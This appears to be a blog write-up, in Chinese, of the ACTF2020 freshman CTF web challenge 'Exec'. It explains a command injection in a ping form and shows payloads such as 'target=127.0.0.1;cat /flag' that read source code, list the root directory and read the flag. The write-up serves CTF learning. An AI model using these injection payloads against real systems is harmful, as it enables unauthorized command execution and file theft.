ACTF2020 新生赛 - Web - Exec

AI-摘要
Microsoft Xiaoice's GPT
AI初始化中...
介绍自己 🙈
生成本文简介 👋
推荐相关文章 📖
前往主页 🏠
前往爱发电购买
ACTF2020 新生赛 - Web - Exec
Hunter结论先行:
target未过滤直接拼进system("ping -c 3 " . $target),用;注入任意命令,cat /flag读取根目录 flag。
题目信息
| 项 | 内容 |
|---|---|
| 比赛 | ACTF2020 新生赛 |
| 方向 | Web |
| 难度 | Easy |
| 环境 | 授权靶场(已脱敏) |
漏洞类型:命令注入(Command Injection)。
信息收集
访问首页,是一个 PING 功能,POST 参数 target,后端直接拼接进 shell 命令执行。
1 | <form method="post"> |
漏洞分析
查看源码
命令注入读取 index.php 源码:
1 | POST target=127.0.0.1;cat index.php |
源码核心:
1 |
|
可见用户输入 target 未做任何过滤,直接拼接进 system(),存在命令注入。
利用过程
用 ; 分隔符注入额外命令:
1 | target=127.0.0.1;ls -la / |
列出根目录,发现 /flag 文件(43 字节)。
读取 flag
1 | target=127.0.0.1;cat /flag |
完整 EXP
1 | # 1. 读源码确认注入点 |
Flag
1 | flag{xxxx} |
踩坑与总结
- 用户输入
target未过滤,直接拼接到system("ping -c 3 " . $target)。 - 使用
;(或|、&&、||)分隔符注入额外系统命令。 - flag 位于容器根目录
/flag,通过cat /flag读取。 - 先读源码确认 sink、再列目录定位目标文件,比盲目 cat 更稳妥。
评论
匿名评论隐私政策
✅ 你无需删除空行,直接评论以获取最佳展示效果







